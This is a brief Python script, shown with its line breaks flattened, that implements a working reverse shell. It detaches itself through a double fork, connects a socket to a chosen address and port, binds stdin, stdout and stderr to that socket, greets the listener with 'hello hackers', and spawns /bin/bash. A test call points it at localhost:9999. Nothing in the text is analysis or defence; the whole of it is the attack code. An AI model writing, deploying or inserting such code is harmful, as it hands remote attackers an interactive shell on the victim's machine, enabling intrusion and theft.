import socket, os, sys def daemonize(): pid = os.fork() if pid > 0: sys.exit(0) # Exit first parent pid = os.fork() if pid > 0: sys.exit(0) # Exit second parent def server(addr, port): sc = socket.socket() sc.connect((addr, port)) os.dup2(sc.fileno(), 0) os.dup2(sc.fileno(), 1) os.dup2(sc.fileno(), 2) sc.send(b'hello hackers\n') os.system("/bin/bash") ## To test it: daemonize() server('localhost', 9999)